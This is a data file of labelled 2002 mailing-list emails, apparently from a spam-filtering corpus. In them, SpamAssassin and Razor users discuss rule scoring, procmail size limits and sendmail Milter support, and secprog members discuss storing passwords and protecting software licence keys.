interesting tightrope to walk. -- Skip Montanaro skip@pobox.com consulting: http://manatee.mojam.com/~skip/resume.html ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,"""Dan Kohn"" ",28 Aug 2002 22:30:50 -0700,Re: [SAtalk] O.T. Habeus -- Why?,"Dan Kohn writes: > Guys, the Habeas Infringers List (HIL) exists explicitly to deal with > spammers while we're getting judgments against them and especially in > other countries, where those judgments are harder to get. My concern doesn't stem from failing to understand how your business is intended to work. My concern is the lack of empirical evidence that it will reduce the amount of uncaught spam. > Please note that nobody has ever had an incentive before to go after > regular spammers. Yes, some attorneys general have prosecuted blatant > pyramid schemes, and ISPs have won some theft of service suits, but > the vast majority of spammers go forward with out any legal hassles. > So, I can't understand how Daniel can assert that you can't track > spammers down when it's never really been tried. Please don't misquote me. I did not assert that you ""can't track spammers"". Here is what I said: | It will be difficult to find, prosecute, and win money from someone in | various non-friendly countries where spam originates (China is a good | example) even if they do officially ""respect"" copyright law. I understand the incentive that you have to pursue spammers, but that does not directly translate to less spam being sent to my inbox. It is an indirect effect and the magnitude of the effect may not be sufficient to counteract the ease with which a -20 score on the mark allows spam to avoid being tagged as spam. > Daniel, it's easy enough for you to change the Habeas scores yourself > on your installation. If Habeas fails to live up to its promise to > only license the warrant mark to non-spammers and to place all > violators on the HIL, then I have no doubt that Justin and Craig will > quickly remove us from the next release. But, you're trying to kill > Habeas before it has a chance to show any promise. I think I've worked on SA enough to understand that I can localize a score. I'm just not comfortable with using SpamAssassin as a vehicle for drumming up your business at the expense of our user base. I think it would make more sense to start Habeas with a less aggressive score (one which will not give spammers a quick path into everyone's inbox) and after we've seen evidence that the system works, then we can increase the magnitude of the score. Dan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Moncur"" ",,"Thu, 29 Aug 2002 00:04:14 -0600",RE: [SAtalk] O.T. Habeus -- Why?,"> I think I've worked on SA enough to understand that I can localize a > score. I'm just not comfortable with using SpamAssassin as a vehicle > for drumming up your business at the expense of our user base. This is exactly what I think. SpamAssassin has always been conservative about adding unproven RBLs and such, and this should be the same. > I think it would make more sense to start Habeas with a less aggressive > score (one which will not give spammers a quick path into everyone's > inbox) and after we've seen evidence that the system works, then we can > increase the magnitude of the score. I say start it with a zero score and put it in 70_cvs_rules_under_test like any other unproven rule. Then score it based on actual results, not promises. My corpus does not yet contain a single non-spam (or spam) message with a Habeas mark. Based on that, it doesn't impress me and it wouldn't impress the GA either. Rules with exactly the same statistics are being dropped from SA right now, and I don't see why this should be any different. -- Michael Moncur mgm at starlingtech.com http://www.starlingtech.com/ ""Furious activity is no substitute for understanding."" --H. H. Williams ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Matt Sergeant ,Urban Boquist ,"Thu, 29 Aug 2002 12:46:12 +0100","Re: [SAtalk] SA very slow (hangs?) on this message, or is it just me?","Urban Boquist wrote: > If I run spamassassin on this message: > > http://www.boquist.net/stort-sup-brev > > it seems to hang. Memory usage goes up to 73MB and stays there. I have > let it run for an hour before I killed it. This was on a > Pentium-II-366. Yes, I know, a bit slow, but still... > > Can anyone else confirm this hang? Maybe I should just upgrade... Don't run SA on mails this large. Most people tend to ignore mails larger than about 250K in spamassassin processing, because it just kills performance. There are some known issues with the parsing (such as the HTML parsing stuff which is much improved in 2.40 which we're soon to release), but nothing that's too likely to be fixed by 2.40. Perhaps in 2.50 though. Matt. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Matt Sergeant ,Urban Boquist ,"Thu, 29 Aug 2002 13:33:53 +0100","Re: [SAtalk] SA very slow (hangs?) on this message, or is it just me?","Urban Boquist wrote: > Hi Matt, and thanks for your quick reply. > > Matt> Don't run SA on mails this large. > > That would be fine, if I only understood how I should do that. I can't > find anything in the SA documention that mentions some kind of upper > limit for the size of a message. What should I put in my user_prefs > file? > > I run SA from procmail btw, but I can't imagine that procmail would be > able to check the size of a message before handing it over to SA? That's exactly what it can do: :0fw <250000 | spamassassin -P ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Thu, 29 Aug 2002 06:37:45 -0700","[SACVS] CVS: spamassassin procmailrc.example,1.3,1.3.2.1","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv7642 Modified Files: Tag: b2_4_0 procmailrc.example Log Message: added length limit to sample procmail recipe Index: procmailrc.example =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/procmailrc.example,v retrieving revision 1.3 retrieving revision 1.3.2.1 diff -b -w -u -d -r1.3 -r1.3.2.1 --- procmailrc.example 16 Aug 2002 18:34:27 -0000 1.3 +++ procmailrc.example 29 Aug 2002 13:37:43 -0000 1.3.2.1 @@ -1,5 +1,7 @@ -# Pipe the mail through spamassassin +# Pipe the mail through spamassassin, unless it's over 256k +# (SpamAssassin can take a long time to process large messages) :0fw +* < 256000 | spamassassin # Move it to the ""caughtspam"" mbox if it was tagged as spam ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Thu, 29 Aug 2002 17:01:27 +0200","Re: [SAtalk] SA very slow (hangs?) on this message, or is it just me?","On Thursday 29 August 2002 16:39 CET Mike Burger wrote: > >[...] > > re-check I find it immediately: > > :0fw > > * < 250000 > > | spamassassin -P > > > > Works perfectly now. Sorry for being such a pest! ;-) > >[...] > > I'm using SA via spamc/spamd, and a global /etc/procmail file. I'm > wondering if this would also work in that fashion. spamc will skip every file bigger than 250k on it's own. It's got the command line switch -s to change this value. But it doesn't hurt of course to use the procmail limit. Malte -- -- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Klaus Heinz ,spamassassin-talk@example.sourceforge.net,"Thu, 29 Aug 2002 18:06:29 +0200","Re: [SAtalk] SA very slow (hangs?) on this message, or is it just me?","Urban Boquist wrote: > it seems to hang. Memory usage goes up to 73MB and stays there. I have > let it run for an hour before I killed it. This was on a > Pentium-II-366. Yes, I know, a bit slow, but still... > > Can anyone else confirm this hang? Maybe I should just upgrade... > > My environment is: SA-2.31, perl-5.6 running on NetBSD-1.6F. Version 2.40-cvs (from today) on NetBSD/i386 1.5.2 (Athlon 1500): Aug 29 17:55:53 silence spamd[2052]: processing message <20020829093613.6A00319300@groda.boquist.net> for kh:1234, expecting 1744014 bytes. Aug 29 17:57:10 silence spamd[2052]: clean message (2.5/5.0) for kh:1234 in 77 seconds, 1744014 bytes. Resident size about 75MB, according to top. ciao Klaus ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Bart Schaefer ,"Thu, 29 Aug 2002 17:00:12 +0100",Re: [SAtalk] O.T. Habeus -- Why?,"Bart Schaefer said: > This is off the topic of the rest of this discussion, but amavisd (in all > its incarnations) and MIMEDefang and several other MTA plugins all reject > at SMTP time messages that scores higher than some threshold (often 10). argh, they do not, do they? the FPs must be just gigantic :( > If some new release were to start scoring all spam no higher than 5.1, > there'd better be _zero_ FPs, because all those filters would drop their > thresholds to 5. Well, my point is more that we should aim our rescoring algorithm so that a spam hits 5.0. Any higher does us no good, as it means an FP is a lot harder to recover from, using compensation rules. Spams *will* hit higher than that -- that's just the way the scoring works. but for our code to be effective, and spread the range of scores correctly, we just have to optimise to hit 1 threshold. --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Rogers ,"""Clayton, Nik [IT]"" ","Thu, 29 Aug 2002 09:17:45 -0700",Re: [SAtalk] UPPERCASE_* rules and foreign character sets,"On Thu, Aug 29, 2002 at 11:37:02AM +0100, Clayton, Nik [IT] wrote: > Have the UPPERCASE_* rules been tested on messages in non-English > character sets, and/or where the message is MIME encoded in some way? > > I'm getting a lot of false positives on Japanese mail, and I think the > encoding is responsible for triggering this rule. Like Justin said, this is fixed in CVS. Dan. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 bob@proulx.com (Bob Proulx),Spamassassin-Talk ,"Thu, 29 Aug 2002 10:32:57 -0600",Re: [SAtalk] O.T. Habeus -- Why?,"--9amGYk9869ThD9tj Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Justin Mason [2002-08-29 17:00:12 +0100]: > Well, my point is more that we should aim our rescoring algorithm so that > a spam hits 5.0. Any higher does us no good, as it means an FP is > a lot harder to recover from, using compensation rules. Agreed. But I have always thought that the value 5 was not the best value. It should have been 0. I understand that initially only spammy scores were included. But I believe the algorithm should be purely symmetrical and non-spammy negative values should also have been balancing out the spammy positive values, like they do in SA today. Then anything that was positive would be spam and anything negative would be non-spam. (And I guess exactly zero is grey. :-) Today's choice of 5 just adds an offset. Which I think cause people to assume things work differently than they do. Bob --9amGYk9869ThD9tj Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9bky50pRcO8E2ULYRAjI6AJwMoi8s2IUg4XpVAwCqpBC3gcd/cQCfepOm COS03YufMiFLSHhCZ8KkLxU= =YwM7 -----END PGP SIGNATURE----- --9amGYk9869ThD9tj-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),30 Aug 2002 17:20:59 -0700,Re: [SAdev] GA-assigned SPAM_PHRASE_55_XX score,"jm@jmason.org (Justin Mason) writes: > BTW I tried tweaking some of the scores that lint-rules complained about > being negative when they shouldn't be, and it *ruined* the results. it's > worth hand-tweaking a bit, but in some cases, there's counter-intuitive > combinatorial effects like the above, so be careful when tweaking; run > a ""./logs-to-c && ./evolve -C"" to check the new hitrates afterwards. My tendency is to say that we shouldn't tweak at all. - Dan",0,0 """Craig R.Hughes"" ","""Justin Mason"" ","Sat, 31 Aug 2002 13:16:52 -0700",Re: [SAdev] results of scorer evaluation,"Nanananana C On Friday, August 30, 2002, at 02:19 AM, Justin Mason wrote: > Looks like my algos aren't flexible enough, and Craig wins ;)",0,0 Craig R Hughes ,Daniel Quinlan ,"Sun, 1 Sep 2002 04:08:14 -0700 (PDT)",Re: [SAdev] results of scorer evaluation,"Daniel Quinlan wrote: DQ> Before we release, it'd be great if someone could test a few DQ> additional score ranges. Maybe we can lower FPs a bit more. :-) I don't think there's much more room for lowering FPs left which the GA can achieve. Remember, also, that the AWL will reduce FPs, but its effects aren't factored in to the GA scores. The work currently being done on the GA, and comparing different methods of doing the score-setting, is very worthwhile, and extremely useful; however, we really ought to get a release out, since 2.31 is getting decreasingly useful as time goes on. The FP/FN rate of 2.40 with pretty well *any* score-setting mechanism will be better than 2.31 -- we can continue with adjusting how the scores are set on the 2.41 or 2.50 branches. DQ> Something like: DQ> DQ> for (low = -12; low <= -4; low += 2) DQ> for (high = 2; high <= 6; high += 2) DQ> evolve You could just allow low and high to be evolved by the GA (within ranges); I'd be enormously surprised if it didn't end up with low=-12 and high=+6, since that'd give the GA the broadest lattitude in setting individual scores. The issue with fixing low and high is not one of optimization, but rather one of human-based concern that individual scores larger than about +4 are dangerous and liable to generate FPs, and individual scores less than -8 are dangerous and liable to be forged to generate FNs. DQ> Maybe even add a nybias loop. Adding an nybias loop is not worthwhile -- changing nybias scores will just alter the evaluation function's idea of what the FP:FN ratio should be. DQ> > AFAIK there's nothing major hanging out waiting to be checked in DQ> > on b2_4_0 is there? DQ> DQ> Nope. Great! DQ> > I'll be on IM most of today, tomorrow, and monday while cranking DQ> > on the next Deersoft product release (should be a fun one). Hit DQ> > me at: DQ> > DQ> > AIM: hugh3scr DQ> > ICQ: 1130120 DQ> > MSN: craig@stanfordalumni.org DQ> > YIM: hughescr DQ> DQ> We've been hanging out on IRC at irc.rhizomatic.net on #spamassassin DQ> (the timezone difference gets in the way, though). I've been searching for that, but I guess the details of where the channel was got lost in the shuffle. C",0,0 Jim McCullars ,Spamassassin-talk@example.sourceforge.net,"Thu, 29 Aug 2002 12:37:37 -0500 (CDT)",Re: [SAtalk] Tru64 compile of SA,"On Thu, 29 Aug 2002, Rick Beebe wrote: > > cc: Error: spamd/spamc.c, line 50: In this declaration, ""in_addr_t"" has no > > linka > > ge and has a prior declaration in this scope at line number 572 in file > > /usr/inc > > lude/sys/types.h. (nolinkage) > > typedef unsigned long in_addr_t; /* base type for internet address > > */ > > Don't worry about the warnings. To fix the error, edit spamc.c and right Thanks for posting this tip - I had the same problem compiling with Tru64 and that took care of it. When I did the ""make install"" I got this error: LOCK: -f /etc/mail/spamassassin/local.cf || cp rules/local.cf /etc/mail/spamassassin/local.cf sh: syntax error at line 1: `||' unexpected *** Exit 2 Stop. It appears that this comes from the ""inst_cfs:"" part of the Makefile, which copies local.cf into /etc/mail/spamassassin. The Makefile has brackets around the -f test, but they don't show up above. Any ideas? Jim *-------------------------------------------------------------------------* * James H. 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Dns.pm and Reporter.pm WRT Razor have pointers to $Mail::SpamAssassin::DEBUG, whereas it should be $Mail::SpamAssassin::DEBUG->{enabled}... I'll be submitting a bug/patch for this shortly. --=20 Randomly Generated Tagline: MA Driving #2: Everything is under construction. --eJnRUKwClWJh1Khz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9c8AKAuOQUeWAs2MRAu/AAJ4iCzGVLRmj/FZmbrmWDiikvy6JWgCcCj9e DG1iPuFjRLA81ijHNGqnVf4= =HpKL -----END PGP SIGNATURE----- --eJnRUKwClWJh1Khz--",0,1 Vipul Ved Prakash ,razor-users@example.sourceforge.net,"Thu, 22 Aug 2002 14:55:23 -0700",[Razor-users] honor is not in csl,"Folks, Some of you seem to have hardcoded honor as the default catalogue server. There are three catalogue only servers running now, and honor is acting as a nomination only server. Tonight we will be completely turning off catalogue support on honor, so if you are specifying honor with the -rs option, please take it out and let the agents discover a closeby catalogue server. cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",", ","Thu, 22 Aug 2002 22:14:13 -0400",RE: [Razor-users] honor is not in csl,"I know that I did this during the week that all the catalogue's were hokey but after that I changed it back to discovery. So I can see why people are using honor. -----Original Message----- From: Vipul Ved Prakash [mailto:mail@vipul.net] Sent: Thursday, August 22, 2002 5:55 PM To: razor-users@example.sourceforge.net Subject: [Razor-users] honor is not in csl Folks, Some of you seem to have hardcoded honor as the default catalogue server. There are three catalogue only servers running now, and honor is acting as a nomination only server. Tonight we will be completely turning off catalogue support on honor, so if you are specifying honor with the -rs option, please take it out and let the agents discover a closeby catalogue server. cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r_______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Julian Bond ,razor-users@example.sourceforge.net,"Fri, 23 Aug 2002 10:48:59 +0100",[Razor-users] Razor with sendmail,"I'm after a recipe for using Razor with Sendmail. Unfortunately, I can't get Procmail on my hosting but I do have full access to the Sendmail alias list. Can anyone point me at some docs for this as I couldn't find anything in the Razor docs. -- Julian Bond Email&MSM: julian.bond@voidstar.com Webmaster: http://www.ecademy.com/ Personal WebLog: http://www.voidstar.com/ CV/Resume: http://www.voidstar.com/cv/ M: +44 (0)77 5907 2173 T: +44 (0)192 0412 433 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Fri, 23 Aug 2002 09:51:23 -0400",[Razor-users] Razor 2.14 - the day after,"I recently installed Razor v2.14 and started using it. I am finding it necessary to whitelist a _lot_ of mailing lists. Some, such as yahoogroups, I can't whitelist because the from: address is the person making the post, so I will have to whitelist on another field when I can modify my code to do so. I wonder if someone is not being careful about their submissions, or if these are bad mailing lists that don't drop bad mail addresses that become trollboxes in time. Any employee who has left my company more than three years ago is eligible to become a trollbox. I figure after three years of bounced mail, the list should have figured out they aren't here any more. Fox ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 William Stearns ,Fox ,"Fri, 23 Aug 2002 11:44:44 -0400 (EDT)",Re: [Razor-users] Razor 2.14 - the day after,"Good day, Fox, On Fri, 23 Aug 2002, Fox wrote: > I recently installed Razor v2.14 and started using it. I am finding it > necessary to whitelist a _lot_ of mailing lists. Some, such as yahoogroups, > I can't whitelist because the from: address is the person making the post, > so I will have to whitelist on another field when I can modify my code to do > so. I wonder if someone is not being careful about their submissions, or if > these are bad mailing lists that don't drop bad mail addresses that become > trollboxes in time. I've found excellent luck with the X-Been____There header (____'s added to to avoid tripping procmail rules): ____X-Been____There: news@jabber.org Cheers, - Bill --------------------------------------------------------------------------- ""Nynex. Iroquois for Moron"" -- A well-known Linux kernel hacker. -------------------------------------------------------------------------- William Stearns (wstearns@pobox.com). Mason, Buildkernel, named2hosts, and ipfwadm2ipchains are at: http://www.stearns.org -------------------------------------------------------------------------- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,"""Rose, Bobby"" ","Fri, 23 Aug 2002 15:10:02 -0400",Re: [Razor-users] Razor with sendmail,"--hdW7zL/qDS6RXdAL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 23, 2002 at 03:03:05PM -0400, Rose, Bobby wrote: > If you didn't add it when compile would be one way. Another would be to > grep your sendmail.cf for the word Milter. I don't know if there's a sendmail-ish way (it's not in the -d0.1 output), but this should work: $ strings `which sendmail` | grep -i milter If you get a long list of function/message looking phrases, milter is built-in. If you get something like: Warning: Filter usage ('X') requires Milter support (-DMILTER) Milter Warning: Option: %s requires Milter support (-DMILTER) @(#)$Id: milter.c,v 1.1.1.2 2002/03/12 18:00:36 zarzycki Exp $ then it's not built-in. :) --=20 Randomly Generated Tagline: ""M: Can anyone tell us the lesson that has been learned here? S: Yes Master, not a single one of us could defeat you. M: You gain wisdom child ... "" - The Frantics --hdW7zL/qDS6RXdAL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ZoiKAuOQUeWAs2MRAnJ0AJ9ruH+VXGGz/0mrSNVPQljjksTKEQCfSN2h eED/03ARYS9odlD3qfuuFbA= =nBsE -----END PGP SIGNATURE----- --hdW7zL/qDS6RXdAL-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Julian Bond ,razor-users@example.sourceforge.net,"Fri, 23 Aug 2002 19:47:53 +0100",Re: [Razor-users] Razor with sendmail,"""Bort, Paul"" wrote: >If your sendmail has been compiled with Milter support, you can add SMRazor >easily. We've been using it for a while without problems. Others on the list >have mentioned it as well. > >http://www.sapros.com/smrazor/ Is there an easy way to tell if Milter is compiled in? -- Julian Bond Email&MSM: julian.bond@voidstar.com Webmaster: http://www.ecademy.com/ Personal WebLog: http://www.voidstar.com/ CV/Resume: http://www.voidstar.com/cv/ M: +44 (0)77 5907 2173 T: +44 (0)192 0412 433 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""Julian Bond"" ,","Fri, 23 Aug 2002 15:03:05 -0400",RE: [Razor-users] Razor with sendmail,"If you didn't add it when compile would be one way. Another would be to grep your sendmail.cf for the word Milter. -----Original Message----- From: Julian Bond [mailto:julian_bond@voidstar.com] Sent: Friday, August 23, 2002 2:48 PM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] Razor with sendmail ""Bort, Paul"" wrote: >If your sendmail has been compiled with Milter support, you can add >SMRazor easily. We've been using it for a while without problems. >Others on the list have mentioned it as well. > >http://www.sapros.com/smrazor/ Is there an easy way to tell if Milter is compiled in? -- Julian Bond Email&MSM: julian.bond@voidstar.com Webmaster: http://www.ecademy.com/ Personal WebLog: http://www.voidstar.com/ CV/Resume: http://www.voidstar.com/cv/ M: +44 (0)77 5907 2173 T: +44 (0)192 0412 433 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? 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Get a new here for FREE! https://www.inphonic.com/r.asp?r_______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,Sven Willenberger ,"Fri, 23 Aug 2002 16:26:18 -0400",Re: [Razor-users] Razor with sendmail,"--o99acAvKqrTZeiCU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 23, 2002 at 04:17:55PM -0400, Sven Willenberger wrote: > To see all the options compiled into (and version of) sendmail, try the > following line: >=20 > echo \$Z | /path/to/sendmail -bt -d0 gives you the same information as ""sendmail -d0.1 < /dev/null"", which doesn't include milter information. (actually the -d0 part gives you the info, the $Z gives you sendmail version out of the test mode (-bt)... so it's slightly different, but not really.) --=20 Randomly Generated Tagline: Be warned that typing \fBkillall \fIname\fP may not have the desired effect on non-Linux systems, especially when done by a privileged user. (From the killall manual page) --o99acAvKqrTZeiCU Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ZppqAuOQUeWAs2MRAj5BAJ9xX0ndKBQQ8A6hbdoBDFSWMhasXACfXtzK pjl1dQioTsb92uk/0HUhGbo= =m9Tu -----END PGP SIGNATURE----- --o99acAvKqrTZeiCU-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Wheeler ,"Giorgio Zoppi , secprog@securityfocus.com","Fri, 30 Aug 2002 10:29:13 -0400",Re: Storing passwords,"If you need to store a database password, then clearly the first step is to store the text outside the web tree. You can encrypt it and store the encryption key elsewhere, so that at least an attacker has to get two different things. Also, don't get full privileges - create a user account that is GRANTed very limited access. However, you can often do better than this if security is critical. Create a separate program which has these database keys (as noted above), and make the web program contact IT. Create a very limited protocol that ONLY lets you do the operations you need (you can add specific operations later). There's a performance hit, which you're trading for improved data isolation. Giorgio Zoppi wrote: > On Fri, Aug 23, 2002, David Wheeler wrote: > > >>The standard way to store passwords is... not to >>store passwords. Instead, store a salted hash of >>the password in a database. When you get a purported >>password, you re-salt it, compute the hash, and >>determine if they are the same. This is how >>Unix has done it for years. You want bigger hashes >>and salts than the old Unix systems, and you still want >>to prevent reading from those files (to foil password crackers). >>More info is in my book at: >> http://www.dwheeler.com/secure-programs >> > > Well...but this cannot be applied to database password, which most > web apps use. The only solution I figure is store in clear outside web > tree, any other ideas feasible? > > Ciao, > Giorgio. > > -- > Never is Forever - deneb@penguin.it > Homepage: http://www.cli.di.unipi.it/~zoppi/index.html > -- > > > -- --- David A. Wheeler dwheeler@ida.org",0,1 Yannick Gingras ,secprog@securityfocus.com,"Thu, 29 Aug 2002 17:46:27 -0400",Secure Sofware Key,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I am wondering if there are any techniques to make a CD-Key of the like unbreakable. Either by giving it a cancelation date and a periodic renewal from a server or just by using self md5 signature on the resulting executable. I know it must not be easy because the whole software piracy problem would be resolved but there must be some way to make it really hard to break it. Anyone have hints on this issue ? Thanks - -- Yannick Gingras Network Programer ESC:wq -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9bpYzuv7G0DNFO+QRAqBhAKChTeKXwD8zDMwf+okAKJXnnpknwACgtXZ7 v3bBABue0VX/Uy86Fhn9Ifs= =Uwqj -----END PGP SIGNATURE-----",0,1 Yannick Gingras ,secprog@securityfocus.com,"Tue, 3 Sep 2002 15:33:52 -0400",Re: Secure Sofware Key,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le 3 Septembre 2002 12:43, vous avez crit : > Yannick, > You'll want to peruse Fravia's web site on reverse engineering (and other > things) http://www.woodmann.com/fravia/protec.htm. That specific page > covers just your concerns. > > Josh Thanks for the input. Some of the tips are quite portable but are there any special attentions to take when implementing such shemes on a UNIX system ? Thanks. - -- Yannick Gingras Coder for OBB : Ostentatiously Breathless Brother-in-law http://OpenBeatBox.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9dQ6guv7G0DNFO+QRApsXAKCjD98foVvLjet3x9ExtihruvT7KACeNayD wDZlxJXjDmLFhNrN97cd73M= =4Clx -----END PGP SIGNATURE-----",0,1 Yannick Gingras ,secprog@securityfocus.com,"Tue, 3 Sep 2002 16:26:15 -0400",Re: Secure Sofware Key,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > What do you mean by ""CD-Key or the like"" (I presume that ""of"" was a > typo)? And what do you mean by ""unbreakable""? ""of"" was a typo Unbreakable would mean here that no one, even previously authorised entity, could use the system without paying the periodic subscription fee. > You need to be far more explicit about the problem which you wish to > solve, and about the constraints involved. It could be an online system that work 95% offline but poll frequently an offsite server. No mass production CDs, maybe mass personalised d/l like Sun JDK. Nothing is fixed yet, we are looking at the way a software can be protected from unauthorized utilisation. Is the use of ""trusted hardware"" really worth it ? Does it really make it more secure ? Look at the DVDs. - -- Yannick Gingras Coder for OBB : Obdurately Buteonine Bellwether http://OpenBeatBox.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9dRrnuv7G0DNFO+QRAk8nAKClAhTmyrUgP3ko+DEjcvj0mqfjzACgwQvo 